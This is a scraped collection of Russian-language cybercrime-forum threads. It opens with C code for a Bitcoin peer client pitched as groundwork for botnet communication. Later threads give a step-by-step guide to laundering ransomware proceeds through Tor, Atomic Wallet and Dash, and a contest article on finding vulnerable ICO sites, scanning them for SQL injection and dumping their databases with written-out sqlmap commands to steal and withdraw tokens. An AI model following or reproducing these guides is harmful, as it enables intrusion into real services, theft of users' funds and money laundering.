tx - отправить транзакцию. Этот пакет передаётся в ответ "getdata".
block - отправить блок. Этот пакет передаётся в ответ "getdata".
headers - отправить 2000 заголовков блоков.
alert - отправить предупреждающее сообщение(сообщение верифицируется и только ведущий разработчик,
т.е хозяин закрытого ключа может его отправить).
ping/pong - просто проверка того, что соединение до сих пор актуально.
submitorder, checkorder, reply - используется при транзакциях на IP адрес.

Существуют 2 способа(документированных) найти пиры:
(I) DNS seeds(парсинг IP из ответа TYPE_A DNS серверов).
(II) Вшитый в bitcoin клиент список IP пиров.

При подключении, мы посылаем пакет "version", который содержит в себе: версию клиента, номер блока и
локальное время. Нод верифицирует пакет и в случае успеха шлёт нам "verack", а затем свой пакет "version".

Затем, чтобы обменяться списками нодов или же получить актуальный список, мы шлём пакет "getaddr".
Нод отвечает пакетом "addr", содержащим список подключённых к нему других нодов.

До 0.6 версии был ещё способ получения пиров через IRC сеть, но его ликвидировали.
Я описал необходимый минимум для создания базового проекта, приступим к рассмотрению его частей.

4)DNS seed
Я упомянул выше, что в процессе поиска пиров используется парсинг IP из ответа TYPE_A DNS серверов.

DNS сервера для основной сети:

WCHAR *MainNetDNSSeed[] = { L"seed.bitcoin.sipa.be", L"dnsseed.bluematt.me",
L"dnsseed.bitcoin.dashjr.org", L"bitseed.xf2.org" };

Click to expand...

DNS сервера для тестовой сети:

WCHAR *TestNetDNSSeed[] = { L"testnet-seed.bitcoin.petertodd.org", L"testnet-seed.bluematt.me" };

Click to expand...

Исходник:

#define DNS_BUFFER_SIZE 0x1000

HANDLE dns_request(WCHAR *pHost) {
HANDLE hEvent, pDnsBuf, pPeerList;
SOCKET pSocket;
DWORD DnsBufSize, RecvSize;
sockaddr_in sAddr, rAddr;
PDNS_RECORD pDnsRecord;

pDnsBuf = AllocMem(DNS_BUFFER_SIZE);
if(!pDnsBuf) {
return FALSE;
}

pPeerList = AllocMem(4096);
if(!pPeerList) {
return FALSE;
}

DnsBufSize = DNS_BUFFER_SIZE;

if(!DnsWriteQuestionToBuffer_W((PDNS_MESSAGE_BUFFER)pDnsBuf,&DnsBufSize,pHost,DNS_TYPE_A,\
GetTickCount(),TRUE)) {
goto exit_2;
}

sAddr.sin_family = AF_INET;
sAddr.sin_port = htons(53);
sAddr.sin_addr.s_addr = 0x04040808; // google public dns server

pSocket = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
if(pSocket == INVALID_SOCKET) {
goto exit_2;
}

hEvent = WSACreateEvent();
if(WSAEventSelect(pSocket,hEvent,FD_READ)) {
goto exit_1;
}

if( ( sendto(pSocket,(char *)pDnsBuf,DnsBufSize,NULL,(sockaddr *)&sAddr,\
sizeof(sAddr)) ) != DnsBufSize ) {
goto exit_1;
}

if(WaitForSingleObject(hEvent,5*1000)) {
goto exit_1;
}

DnsBufSize = sizeof(rAddr);
RecvSize = recvfrom(pSocket,(char *)pDnsBuf,DNS_BUFFER_SIZE,NULL,\
(sockaddr *)&rAddr,(int *)&DnsBufSize);
if(!RecvSize || RecvSize == SOCKET_ERROR) {
goto exit_1;
}

DNS_BYTE_FLIP_HEADER_COUNTS((PDNS_HEADER)pDnsBuf);

if( DnsExtractRecordsFromMessage_W((PDNS_MESSAGE_BUFFER)pDnsBuf,RecvSize,\
&pDnsRecord) ) {
goto exit_1;
}

RecvSize = (DWORD)pPeerList;
while(pDnsRecord) {

if( pDnsRecord->wType != DNS_TYPE_A) {
pDnsRecord = pDnsRecord->pNext;
continue;
}

*(int *)pPeerList = pDnsRecord->Data.A.IpAddress;
pPeerList = (int *)pPeerList + 1;
pDnsRecord = pDnsRecord->pNext;

}

DnsRecordListFree((PDNS_RECORD)pDnsRecord,DnsFreeRecordList);

exit_1:
CloseHandle(hEvent);
closesocket(pSocket);

exit_2:
FreeMem(pDnsBuf);

return (HANDLE)RecvSize;
}

Click to expand...

Приведённая функция возвращает handle на выделенную память с адресами нодов.
В полном исходнике, который я приложу в конце статьи нет функции для создания своего пира.
В принципе ничего сложного нет - достаточно открыть порт(8333 - если основная сеть, 18333 - если
тестовая сеть) и принимать входящие соединения.
Процесс авторизации аналогичен процессу подключения (пункт 3, техническое описание протокола),
за исключением того, что:

(I) Вам придётся принимать входящие команды. Из основных я бы выделил только частоприходящие - это
"inv", "getaddr", "addr". На пакеты "inv" и "addr" в принципе можно не отвечать.
На пакет "getaddr" потребуется ответить пакетом "addr" с указанием своего IP, а также других.

(II) Время от времени надо слать ping/pong для поддержания соединения, а также свой IP в пакете "addr".

Для тех, кто заинтересован в протоколе, прикладываю также в архиве с сорцами документацию.

5)STUN: getting external IP address
В самом bitcoin для получения внешнего IP, парсится два сайта: checkip.dyndns.org и showmyip.com/simple/
Я решил пойти другим более стабильным путём, а именно через STUN(Session Traversal Utilities for NAT).

Более подробно о STUN читайте тут: tools.ietf.org/html/rfc3489

В проекте, функция лишь используется для проверки того, находится ли нода за NAT.
Акцентировать много внимания на нём я не буду, приведу сразу исходник:

#define STUN_DEFAULT_PORT 3478
#define MAPPED_ADDRESS 0x0001
#define CHANGE_REQUEST 0x0003
#define Binding_Request 0x0001
#define Binding_Response 0x0101

char *StunServers[][2] = { "stun.stunprotocol.org", 0,
"stun.ekiga.net", 0,
"stun.ideasip.com", 0,
"stun.iptel.org", 0,
"stun.rixtelecom.se", 0,
"stun.schlund.de", 0 };

#define bswap16(x) ((((x) & 0xff) << 8) | (((x) >> 8) & 0xff))

#define bswap32(x) ((((x) & 0xff) << 24) | (((x) & 0xff00) << 8) \
| (((x) >> 8) & 0xff00) | (((x) >> 24) & 0xff))

#pragma pack(push, 1)
typedef struct _STUN_MSG {
WORD msgType;
WORD msgLength;
BYTE id[16];
WORD type;
WORD length;
DWORD value;

} STUN_MSG;
#pragma pack(pop)

#define STUN_BUFFER_SIZE 0x1000

int GetExternalIP() {
SOCKET pSocket;
sockaddr_in sAddr, rAddr;
hostent *hostent_s;
int ExternalIP, len, RecvSize;
HANDLE hEvent;
STUN_MSG *pBuf;
STUN_MSG stun;

pBuf = (STUN_MSG *)AllocMem(STUN_BUFFER_SIZE);
if(!pBuf) {
return FALSE;
}

pSocket = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
if(pSocket == INVALID_SOCKET) {
return FALSE;
}

hEvent = WSACreateEvent();
if(WSAEventSelect(pSocket,hEvent,FD_READ)) {
goto exit_2;
}

{
for(int i = 0; i < sizeof(StunServers)/sizeof(StunServers[0]); i++) {

sAddr.sin_family = AF_INET;

if(!StunServers[ i ][1]) {
sAddr.sin_port = htons(STUN_DEFAULT_PORT);
} else {
sAddr.sin_port = htons((WORD)StunServers[ i ][1]);
}

hostent_s = gethostbyname(StunServers[ i ][0]);
if(!hostent_s) {
continue;
}

sAddr.sin_addr.s_addr = *(int *)hostent_s->h_addr_list[0];

RtlZeroMemory(&stun, sizeof(stun));
stun.msgType = bswap16(Binding_Request);
stun.msgLength = bswap16(0x8); // sizeof(type + length + value)
RAND_bytes((DWORD *)&stun.id, sizeof(stun.id)); // Transaction ID
stun.type = bswap16(CHANGE_REQUEST);
stun.length = bswap16(0x4);

back:
len = sizeof(stun);
if( sendto(pSocket,(char *)&stun,len,NULL,(sockaddr *)&sAddr,\
sizeof(sAddr)) != len ) {
continue;
}

if(WaitForSingleObject(hEvent,5*1000)) {
goto back;
}

RtlZeroMemory(pBuf, STUN_BUFFER_SIZE);
len = sizeof(rAddr);
RecvSize = recvfrom(pSocket,(char *)pBuf,STUN_BUFFER_SIZE,NULL,\
(sockaddr *)&rAddr,(int *)&len);
if(!RecvSize || RecvSize == SOCKET_ERROR) {
continue;
}

if(bswap16(pBuf->msgType) == Binding_Response) {

for(int i = 0; i < bswap16(pBuf->msgLength); ) {

if( bswap16((pBuf->type + i)) == MAPPED_ADDRESS) {
ExternalIP = (int )( ((int)&pBuf->value + i) + 4 ); // Family=0x01, Port = 0x**
break;
}
i += bswap16(pBuf->length) + 4; // sizeof(type) + sizeof(length)
}

break;
}

}

}
exit_2:
CloseHandle(hEvent);
closesocket(pSocket);
FreeMem(pBuf);

return ExternalIP;
}

Click to expand...

6)Эпилог
Моя статья - это лишь демонстрация PoC(Proof of concept). В мои планы не входило создание самодельного
протокола для общения между ботами поверх основной сети и верификации команд через ассиметричный
криптоалгоритм. В исходниках я приложил базовые основы для создания своего пира.
В качестве примера, программа подключается к тестовой или основной сети и собирает nodes list.
При желании, вы сможете сотворить из этого нечто большее :) Будут вопросы - обращайтесь.

Архив с сорцами:

Spoiler: 10

LINK: https://www.dropbox.com/s/80xcvndix9guns8/abc.rar?dl=1
PASS: damagelab_newyear2014_UG()!*&@W()!*G)(!@G)_!@YG)!)JWQ

Respects goes 2 all members of xss.is/, которые так или иначе поддерживают меня.
Спасибо вам ребята за моральную поддержку! Поздравляю всех с наступающим 2014 годом!
Напоследок посоветую всем перечитать первый пункт :)

Постскриптум:
Честно, удивительно, что до этого никто не создал сеть подобную bitcoin. Идея, грубо говоря витала
в воздухе и любой подкованный программист выше среднего уровня с хорошим знанием криптографии, смог бы
создать такого рода систему. Может просто не было ТЗ ? :)

Критика сорцов - не принимается :). Писал код ровно 3 дня напролёт.

USDT / USDC небезопасны
ID: 67686ad7b4103b69df379804
Thread ID: 39492
Created: 2020-07-10T19:05:29+0000
Last Post: 2023-08-14T06:52:20+0000
Author: admin
Replies: 52 Views: 10K

Напоминаю, что USDT, USDC и прочие стейбкоины небезопасны. Вам могут в любой момент заблокировать деньги.

Пример
Сообщение с bitcointalk от пользователя AlNu

Tether блокирует USDT
Вот вам реальный пример потери $301'000 из-за блокировки USDT.
Адрес (https://etherscan.io/address/0xb1fa690155821bf9191d609593b556048aca517c#tokentxns) человека, который сделал вывод 300'900 USDT c Binance, с понятной и объяснимой историей исходя из данных блокчейн Ethereum.
Человек сразу переводит эти 300'900 USDT на девственно чистый новый адрес (https://etherscan.io/address/0x5441bfcda141759eaae9737a28cb2f9fd43e8869#tokentxns).
Через несколько часов человек разбивает сумму на два адреса - отправляет 200'600 USDT с этого нового адреса на девственно чистый новый второй адрес (https://etherscan.io/address/0x087a39ecd3e12db24b76025efaf077a2fd6e44c2#tokentxns).
И через час оба новых адреса вносят blacklist!
То есть, подумайте, пользователь начал разбивать свои средства (переводить с одного адреса на другие) - и эмитент стейблкоина отследил перевод и заблокировал токены на обоих адресах, при этом не тронув первичный адрес, на который всё вышло с биржи.

Результат
301'000 USDT потеряны.
Поддержка компании-эмитента Tether на запросы не отвечает.
Человек уже 1.5 месяца не может ничего сделать.
И таких ситуации будет всё больше. Регулирование лишь ужесточается.

Все это прописывается к контракте самого стейблкоина.
И вот анализ по основным стейблкоинам!

USDT-Bitcoin (issuer can freeze: yes, contract open source: yes)
USDT-Ethereum (issuer can freeze: yes: open source: yes)
USDT-EOS (issuer can freeze: yes, open source: no)
USDT-Tron (issuer can freeze: yes, open source: no)
USDT-Liquid (issuer can freeze: no, open source: yes)
USDC-Ethereum (issuer can freeze: yes, open source: yes)
PAX-Ethereum (issuer can freeze: yes, open source: yes)
TUSD-Ethereum (issuer can freeze: yes, open source: yes)
TUSD-Binance (issuer can freeze: yes, open source: no)
BUSD-Ethereum (issuer can freeze: yes, open source: yes)

Т.е. в любой момент ваш адрес может попасть в блэклист и ваши стейблкоины могут просто заморозится у вас на кошельке!
На данный момент только DAI не имеет функции заморозки не и USDT-Liquid (но не нашел кто его применяет)

Click to expand...

Примеры из новостей
<https://forklog.com/tether-zablokirovala-na-39-ehereum-adresah-milliony- dollarov-v-usdt/>

Оригинальное уведомление/предупреждение от Chainalysis
[https://www.prnewswire.com/news-rel...compliance-solution-for- tether-301003370.html](https://www.prnewswire.com/news-releases/chainalysis- provides-anti-money-laundering-compliance-solution-for-tether-301003370.html)

Исследование
[https://medium.com/human-rights-fou...ghts-blacklists-and- traceability-6d74ee17c25d](https://medium.com/human-rights-foundation- hrf/privacy-and-cryptocurrency-part-iv-stablecoins-for-human-rights- blacklists-and-traceability-6d74ee17c25d)

Live статистика ТОРГОВОГО БОТА Henos v1.0.
ID: 67686ad7b4103b69df379a70
Thread ID: 36645
Created: 2020-04-22T13:39:24+0000
Last Post: 2020-08-18T10:16:06+0000
Author: jimbeamengine93
Replies: 37 Views: 10K

Долгое время мы тестировали, исправляли, переписывали своего торгового бота на рынке криптовалют. На данный момент бот идеально работает и наша команда хотела бы запустить топик по демонстрации live статистики сделок для того, чтоб опровергнуть теорию о том, что все боты являются минусовыми.
Выставлена стартовая сетка, которая послужит дальнейшим вектором для работы с противовесными ордерамиView attachment Стартовая сетка.png

Так а что ты предлагаешь-то ? Купить у теюя бота? Или что ?
Просто не понятно для чего тема создана.
А с одного скриншота не понятно ничего, от слова совсем.
Хоть какой то конкретики бы.

Холодный кошелек для бтк
ID: 67686ad7b4103b69df379a77
Thread ID: 32000
Created: 2019-09-24T14:47:55+0000
Last Post: 2020-06-10T21:45:05+0000
Author: 2bradboy
Replies: 28 Views: 9K

Какой холодный кошелек выбрать для бтк без палева с ledger? Нашел github.com/pointbiz/bitaddress.org если поставить его на локалку и сгенерить, то будет норм?

Bitcoin
ID: 67686ad7b4103b69df37971a
Thread ID: 24140
Created: 2013-05-02T22:37:58+0000
Last Post: 2024-06-12T05:21:40+0000
Author: scanislav
Replies: 55 Views: 9K

Поискал по форуму и удивился, что bitcoin не нашел путь в массы пока. Анонимная децентрализованная валюта - казалось бы мечта хакера, но все как-то предпочитают wmz или LR. В чем загвоздка?

А столько ж тем можно было б замутить - от полностью автоматического гарант сервиса до ботнетов, которые сам себе хостинг покупают.

Пузырь bitcoin 2012-2019 (аналитика)
ID: 67686ad7b4103b69df379a72
Thread ID: 29953
Created: 2019-06-24T12:26:16+0000
Last Post: 2020-08-03T00:51:14+0000
Author: pablo
Replies: 21 Views: 8K

В этой теме буду выкладывать просто графики, без аналитики, без мыслей, без "экспердов" и экспертов. Просто голые цифры и графики.

Типичный пузырь на финансовом рынке выглядит так:

Знаменитый пузырь доткомов 2000х (Dot-com bubble) на Nasdaq

График (цена bitcoin), наложенный на пузырь доткомов, по февраль-2018

График - пузырь золота (он точно так же отработал по циклам рынка) 1970-2014 год

График цены Bitcoin, по июнь-2018

Как чистят грязную крипту?
ID: 67686ad7b4103b69df379772
Thread ID: 92956
Created: 2023-07-14T22:06:28+0000
Last Post: 2024-03-09T19:05:56+0000
Author: top
Replies: 72 Views: 8K

Вопрос навеян соседней темой. Как сервисы очистки технически чистят грязную крипту? Допустим, в транзе будет 60% по амлу миксер или рансом
транзу разбирают на части и чистые амл-битки используют? а что делают с оставшимися грязными?
или наоборот, соединяют в большие блоки и большими суммами загоняют на биржи, теряя там небольшие % грязи?
Как технически это происходит?
Интересно ваше профессиональное мнение, господа.

Отмываем и замораживаем курс биткоина (2020)
ID: 67686ad7b4103b69df3797fa
Thread ID: 32924
Created: 2019-11-02T14:13:36+0000
Last Post: 2023-08-27T03:47:42+0000
Author: kerberos
Replies: 22 Views: 8K

Часто слышу что люди не пользуются биткоином потому что довольно легко отследить и курс постоянно скачет. В этой статье я расскажу как в "домашних" условиях отмыть биток (с локера к примеру) и потом застолбить его по сегодняшнему курсу.

Для этого всего нам понадобится - одна виртуальная машина, я юзаю VirtualBox с Кали Линукс. Можно прям скачать себе ova образ, ничего самому делать не надо. Но можно взять и винду, кому как нравится.

Итак начнем, стартуем виртуальную машину. В ней запускаем TOR как сервис на порту 9050. Потом качаем:

  1. atomic wallet от сюда atomicwallet.io
  2. electrum dash от сюда electrum.dash.org
    Заводим грязь сразу на атомик, там меняем на dash и выводим себе на electrum.dash кошелек. Всё это надо делать под тором и желательно ещё в openvpn.
    И первый этап готов!

Идём дальше, на своём хосте или в другой виртуалке, как кому нравится качаем тоже самое. После с "грязного" кошелька даш вы переводите на "белый" electrum.dash кошелек на свой машине. Kак ЧИСТАЯ mонета зашла заводите её в atomic wallet.
Этап второй по отмывке готов!

Следующий шаг, вы меняете dash на TETHER или TRUEUSD, тем самым вы получаете стабильный курс закрепленный в доллар.
И там $ лежат пока вам надо будет их вывести а потом уже опять меняете на биткоин и выводите себе на кошелек получив чистый биток и по тому курсу по какому вы заводили с минимальными % потерями.

Удачи!

Посоветуйте BTC кошелёк
ID: 67686ad7b4103b69df3799ff
Thread ID: 49173
Created: 2021-03-11T04:10:21+0000
Last Post: 2021-08-08T20:25:32+0000
Author: RickandMorty
Replies: 56 Views: 8K

Привет всем. Посоветуйте какой кошелёк в данный момент хороший по мимо Blockchain
Хочу от него уйти, но не знаю какой выбрать новый

Биткоин по $100 000 и как заработать на будущем ралли
ID: 67686ad7b4103b69df379745
Thread ID: 26719
Created: 2018-12-03T13:07:56+0000
Last Post: 2024-04-21T02:22:37+0000
Author: tabac
Replies: 23 Views: 7K

В последние недели резко увеличился негативный информационный фон вокруг криптовалютного рынка. Падение курса биткоина до $3 500 выбивает почву из-под ног неопытных инвесторов, особенно у тех, кто вложил крупную сумму на пике или даже взял кредит для покупки криптовалют. Что делать и чего ждать в будущем? Полного краха или покорения новых вершин?

Энтузиасты и подавляющая часть сообщества по-прежнему считают биткоин и иные криптовалюты перспективными инвестиционными инструментами, поскольку обвал на рынке происходит уже не первый раз, при этом не являясь самым крупным в истории в процентном соотношении.

Еще в 2014 году, в момент более крупного обвала с $1 237 до $111, в сеть был выложен анализ курса биткоина в будущем на основе нелинейной логарифмической прогрессии. Достижение отметки $10 000 было предсказано за 3 года с погрешностью всего на 6 дней. На графике указана дата 22 ноября 2017 года, фактический пробой отметки $10 000 состоялся 28 ноября. Этот анализ назвали “Bitcoin Pump”:

Достижение отметки $100 000 датировано 16 июля 2021 года, с возможной погрешностью в 5-7 дней. В период с 2019 по 2020 год рынок "ожидает спокойное и постепенное движение" к $10 000, после чего ожидается очередное восходящее «ралли» к отметке $100 000.

Один из криптовалютных аналитиков, Мурад Махмудов, на своей странице в Twitter опубликовал прогноз роста курса биткоина до $160 000 к 2023 году, также основываясь на логарифмической прогрессии и техническом анализе.

Данный прогноз был сделан в июле 2018 года, предсказывая падение в октябре к $3 000. Прогноз оправдался почти полностью и с небольшим опозданием.

Приведенный ниже график датирован октябрем 2018 года, перед началом падения к $4 000. Здесь приводится сравнение с периодом 2014-2016 годов. Аналогичной ситуации можно ожидать в период с 2018 по 2020 год.

Еще один анализ от 15 ноября 2018 года. Аналогичная ситуация складывалась в период с 2014 по 2016 год. Возможна более глубокая коррекция к $2 800 в первом квартале 2019 года.

Представленные выше аналитические графики при наложении друг на друга задают практически одинаковые прогнозы. В ближайшее время нас ожидает относительно спокойный период на рынке, после чего курс биткоина, возможно, продолжит восхождение к новым горизонтам и перешагнет отметку в $100 000 в период с 2021 по 2023 год.

Сегодняшняя ситуация на рынке повторялась не раз, как говорил великий Чарльз Доу: “История повторяется”.

Украли 12 btc
ID: 67686ad7b4103b69df379731
Thread ID: 110622
Created: 2024-03-17T13:56:56+0000
Last Post: 2024-05-13T20:48:27+0000
Author: darw1n
Replies: 59 Views: 7K

Общем история следующая, мои знакомые решили купить биток и подождать пока он вырастет, взяли на бирже и решили отправить на веб кошелек: bitcoin- wallet.org, скорее всего попали на фиш.
Зачем они это сделали ? я не знаю.
Хэш транзы: 349c40b56890790a614437ac6338099f505c0b81a11634bcdd4902bcf601abb9
Адрес куда ушли 12 btc: 12dhXFDKbKBj5iyMZii6wbjTp86rYsM2K8

Можно ли как-то отследить тех кто украл ? Какие вообще варианты?

Bitcoin $260,000
ID: 67686ad7b4103b69df37983b
Thread ID: 84250
Created: 2023-03-21T18:38:18+0000
Last Post: 2023-06-18T10:54:32+0000
Author: ATLANTA
Replies: 76 Views: 7K

I propose to everyone who wishes in front of the Administration of this forum to make a wager.
My bet is that bitcoin will be worth more than $260,000 at the time of June 20, 2023.
All wishing to make a bet please write in personal messages through the guarantor of this forum!
Budget 100 BTC
Have a nice game!

Вывод BTC В руб 17млн. руб.
ID: 67686ad7b4103b69df3799e9
Thread ID: 54200
Created: 2021-07-20T12:15:30+0000
Last Post: 2021-09-05T19:13:15+0000
Author: Ap0fis
Replies: 72 Views: 7K

Как вывести 8 BTC в рашку и спокойно распоряжаться деньгами, нет мне не надо отмыв. Просто на сбер. Понимаю что есть обменники которые до 300тыс. максимально что я нашел.
С чем могу столкнуться?
Как лучше это сделать?
Минимальные потери на комиссии и т.д. Интересует все.
Может важно может нет, на моем сбере более 500 000 руб не когда не бывало. Думаю малоли внимание налоговой и т.д.
Готов рассмотреть другие банки РФ на вывод так же. Сбер не панацея.
И не над рекламить псевдо-обменники. Я лишь хочу получить адекватную консультацию.

Ну и надеюсь правила не нарушил, я по ру не работаю. Тут вопрос в другом собственно.

exodus.io - отзывы
ID: 67686ad7b4103b69df379a4a
Thread ID: 34390
Created: 2020-01-15T21:55:11+0000
Last Post: 2020-12-27T19:54:55+0000
Author: lukas
Replies: 21 Views: 7K

Кто пользовался exodus.io? поделитесь отзывами и впечатлениями?

Долго идет транзакция как можно ускорить?
ID: 67686ad7b4103b69df379a85
Thread ID: 35588
Created: 2020-03-19T18:30:46+0000
Last Post: 2020-03-20T16:26:13+0000
Author: URL.Bombila
Replies: 22 Views: 7K

короче отправил 160к на обменник 170р комисия
3 часа торчит можно ускорить как то?

Анонимная крипта - какая лучше
ID: 67686ad7b4103b69df379aa2
Thread ID: 29678
Created: 2019-06-06T11:05:08+0000
Last Post: 2019-08-23T14:48:17+0000
Author: pablo
Replies: 15 Views: 7K

Что лучше использовать при анонимных платежах? xmr, dash, zcash? как по вашему, что обладает большим уровнем анонимности?

Вариант крипто-арбитража с Монеро
ID: 67686ad7b4103b69df379736
Thread ID: 111296
Created: 2024-03-25T12:39:26+0000
Last Post: 2024-05-08T13:03:06+0000
Author: barhack
Replies: 55 Views: 6K

Предупреждение модератора: тема любого арбитража (особенно финансового) наводнена скамерами. Деньги легче потерять, чем заработать.

Здравствуйте всем,

Вот мой скромный вклад в форум, это не много, но хотя бы это работает. Я написал эту статью на русском, учитывая, что 90% статей на форуме на русском, надеюсь, все поймут…

Итак, перейдем к сути, в декабре я хотел купить Monero, поэтому пошел на биржу Kraken и купил немного. Конечно, мне пришлось это сделать с KYC, то есть удостоверить личность, сделать селфи и все такое.

Затем я начал изучать вопрос, чтобы увидеть способы покупки Monero без KYC и наткнулся на сайт localmonero.co

Действительно, можно купить Monero через приложения необанков, такие как Revolut или Wise, обычно люди покупают на 6-8% дороже рыночной цены.

Поэтому я купил Monero на Kraken и разместил объявления на localmonero, чтобы увидеть количество покупок. Я был действительно удивлен, так как в среднем мне приходилось обменивать около 1000 евро в день по цене на 8% выше. Учитывая, что комиссия составляет 1% плюс некоторые торговые сборы, можно сказать, что чистая прибыль с каждой транзакции составляет 6%.

Я обменял 30 000 евро за месяц и заработал около 1800 евро. Это небольшая сумма, конечно, но это бесплатные деньги, которые приходят без каких-либо усилий, пока вы сидите в трусах на своем диване, так что это всегда приятно!

Я использовал API localmonero, так что автоматизировал ответы на запросы торгов на localmonero, с уведомлениями в Telegram и т.д.

Я могу предоставить скрипт, если нужно.

С тех пор я остановился, потому что начал бизнес, который занимает много времени.

1800 евро – это довольно неплохо для начинающих молодых людей. Тем не менее, вам стоит быть осторожными, так как необанки могут запросить у вас обоснования для этих сумм в рамках своих обязанностей по борьбе с отмыванием денег.

Spoiler: screenshots

screencapture-localmonero-co-account- wallet-2024-03-25-12_21_30.pngphoto_2024-03-25_13-24-26.jpg

ICO: Дикая охота Затраты:0$, Профит:742$
ID: 67686ad7b4103b69df3798d6
Thread ID: 56455
Created: 2021-09-09T05:37:58+0000
Last Post: 2022-12-19T17:44:36+0000
Author: 0xUser
Prefix: Статья
Replies: 23 Views: 6K

Конкурсная статья с экспы

Введение

В данной статье я расскажу реально рабочий кейс как поднять бабла практически без вложений и в короткие сроки, каждый этап будет рассмотрен детально дабы не осталось никаких вопросов, однако если такие будут, то велком в комментарии. Мы будем искать уязвимые ICO, дампить их и выводить с них токены на биржу, там уже куда вам захочется. Тем кто занимается дампами данная статья покажется очень знакомой, однако даже они найдут здесь что-то новенькое для себя, поскольку тут будет практический план действий. Я уверен, что обязательно найдутся хейтеры у которых я забираю хлеб этой статьей.

Поиск цели

Правильно подобранная цель это уже пол дела, именно от этого зависит насколько наша затея окажется удачной. Нам нужны ICO проекты c небольшой, но и немаленькой посещаемостью, примерно 20к просмотров в месяц будет достаточно, информацию по просмотрам вы можете посмотреть на соответствующих сайтах [1]

Следующий критерий это условия вывода с ICO, нам нужно найти икошку где не нужна валидная почта для вывода, а если и нужна то ее можно изменить без каких либо затруднений, желательно что бы для вывода требовался какой нибудь пинкод или код двухфакторной аутентификации, так же в целом неплохо будет если для вывода не нужно будет никаких подтверждений и т.д., но лучше всего что бы был 6 значный пинкод.

И так, где же все-таки найти такую цель? Цели мы позаимствует у наших собратьев хацкеров, которые в основном занимаются брутом, думаю все знают такие софты как кипер, булит и юбц, на этих платформах пишут бруты и чекеры на всякие сервисы, в том числе и на ico. Я буду искать на одном из соседних бордов, в следующей ветке.

1.jpg.ffe1d01596fee04f5fff78a21bb4e8fd.jpg

Собственно заходим и смотрим топики, обычно в них есть описание этих самых сайтов, когда они выводят и что нужно для вывода, вообщем ищем икошки по критериям которые я перечислил выше, в некоторых топиках будет хайд, можем попросить личный, возможно вам его дадут. Собираем названия всех ico-сайтов в один текстовик.

Веб сканнеры

Теперь когда мы собрали нормальное количество икошек, нам нужно проверить каждую из целей в веб сканере.

Больше всего распространены следующие сканеры: Netsparker, Acunetix, Owasp Zap, burp suite. Как видите сканеров тут на любой вкус и цвет, однако же я советую использовать все сканеры по очереди, то что пропустил Спаркер может найти Акуша, или то что пропустили оба из этих сканеров может найти бурп, я использовал все эти сканеры и больше всего из них мне нравится спарки, овасп немного слабоват, а бурп даст прикурить им всем. Однако стоит заметить, что разные версии спаркера ведут себя по разному и одна версия спарки может найти дыру, а другая нет, я же использую следующие версии: 4.9.5.18523 и 5.9.1.29030.

2.jpg.9453eeb9c27910cea9b405bbfde54b99.jpg

Нам нужно настроить сканеры под поиск Sql injection, я буду показывать на примере Netsparker, в других сканерах ситуация практически аналогичная, отличия лишь в незначительных деталях.

Сначало нажимаем Scan Policy Editor, дублируем главный пресет, после переименовываем его как вам угодно и в Security Check Group оставляем галочку напротив Sql injection, так же вы можете использовать сканеры для поиска других уязвимостей, LFI, XSS, XXE и т.д. однако нам сейчас это не интересно, просто сохраняем настройки.

1631166000639.png

Жмякаем кнопку для начала скана, указываем ссылку на сайт который хотим просканить, выбираем соответствующий пресет который мы только что создали, так же если сайт имеет какие либо защитные механизмы которые генерируют специальные куки, то просто зайдите на сайт в браузере, дождитесь того момента как получите доступ к сайту, потом просто вставьте их в соответствующее окошко в спаркере, начинаем скан и можем идти по своим делам.

1631166204255.png

Если сайт уязвимый, то по окончанию в окошке Issues вы увидите примерно следующую картину, красный кружок с восклицательным знаком, жмякаем и он покажет где уязвимость, может быть такое что сайт уязвим сразу в нескольких местах, тут уже как повезет, так же если вы сканировали главный домен и ничего не нашли, то попробуйте просканить поддомены, в данном случае я сканировал именно поддомен на который редиректит когда хочешь авторизоваться на сайте.

1631166227708.png

Итак, вы можете кликнуть по уязвимому месту(“ /auth/email_chk (val2 (POST),val1) ”) правой кнопкой, выйдет контекстное меню, где смело читается строчка «Copy sqlmap Command », логично она копирует команду для мапы в буфер обмена, давайте же посмотрим что у нас скопировалось.

6.jpg.26fb270a0736be7e2969d97465af7d40.jpg

Как видим картинка не очень красивая, я больше предпочитаю составлять реквест файл и уже его пихать в мапу, как по мне так команда получается красивая и более лаконичная. Для составления реквест файла жмякаем по уязвимому месту(“ /auth/email_chk (val2 (POST),val1) ”), выбираем таб HTTP Request /Response , копирем все эти данные в какой нибуть текстовой файл и обязательно убираем пейлоуд который автоматом подставил спаркер (т.к. мапа должна подставить свой собственный) и убираем лишние и прочие мусорные заголовки которые являются лишними, можете сравнить скрин со спаркера выше и скрин с текстовика, сами все поймете.

7.jpg.ccc61454af2f99b358b2010b19898019.jpg

Сохраняем все это в удобном нам месте и переходим к следующей части.

Sqlmap

8.jpg.1c428c9a949f248e53c91603763e2850.jpg

В данной части я уже непосредственно расcмотрю как слить базу данных сайта, прежде чем приступить к дампингу обязательно обновите мапу** [2]** до последней версии. И так, команда которую нам дал спаркер выглядит следующим образом:

sqlmap.py -u "https://master.**.com/auth/email_chk" -p "val2" --risk="3" --level="3" --method="POST" --data="val1=netsparker%40example.com&val2=test" --user-agent="Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36" --cookie="__zlcmid=13IjuPSLHgWcLj8; ci_session=76vvdh8ren0vgikibjpvhe0mm9bspb5r" --headers="Host:master..com\nAccept:application/json, text/javascript, /; q=0.01\nAccept-Encoding:gzip, deflate\nAccept-Language:en- us,en;q=0.5\nCache-Control:no-cache\nContent-Type:application/x-www-form- urlencoded; charset=UTF-8\nOrigin:https://master..com\nReferer:https://master..com/auth/signup\nX- Requested-With:XMLHttpRequest" --dbms="MySQL" --batch
После наших шаманских усилий с реквест файлом она приобразовывается в следующее:

sqlmap.py -r target.txt -p val2 --risk=3 --level=3 --dbms=MySQL --batch --dbs
Думаю разница вполне ощутима. И так давайте же посмотрим собственно, что значит каждый из аругементов и так же рассмотрим другие дополнительные которые тоже следует знать.

